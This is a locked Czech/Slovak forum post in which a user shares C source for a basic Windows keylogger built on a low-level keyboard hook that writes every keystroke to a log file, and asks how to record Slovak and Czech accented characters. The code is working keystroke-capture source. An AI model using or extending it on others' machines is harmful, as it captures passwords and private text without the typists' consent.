Jednoduchy zaznamenávač stlačených klávesv v C

Místo pro dotazy a rady ohledně programovacích jazyků (C++, C#, PHP, ASP, Javascript, VBS..) a tvorby webových stránek

Moderátor: Mods_senior

Zamčeno
Uživatelský avatar
junior333svk
Level 2.5
Level 2.5
Příspěvky: 293
Registrován: 14 lis 2011 18:03

Jednoduchy zaznamenávač stlačených klávesv v C

Příspěvek od junior333svk »

Ahojte v rámci voľného času si robím zaznamenávač stlačených kláves.
Len neviem ako mám spraviť aby zaznamenával aj slovenske prípadne české znaky napríklad ked stlačím "č" tak mi napíše 4 (lebo sú na rovnakej klávese)
môj kód

Kód: Vybrat vše

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode >= 0)
	{
		if (wParam == WM_KEYDOWN)
		{
			kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
			if (kbdStruct.vkCode != 0);
			{
				switch (kbdStruct.vkCode)
				{
				case VK_ESCAPE:
					fprintf(LOG, "[ESC]");
					break;
				default:
					fprintf(LOG, "%c", kbdStruct.vkCode);
					break;
				}
				fflush(LOG);
			}
		}
	}
	return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
	_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
	
	LOG = fopen("log.txt", "a+" );
	SetHook();
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
	}
	fclose(LOG);
}
Za každú radu budem vďačný.
Ak ľudstvo neskoncuje s vojnou, vojna skoncuje s ľudstvom.

J.F.Kennedy
Zamčeno

Zpět na „Programování a tvorba webu“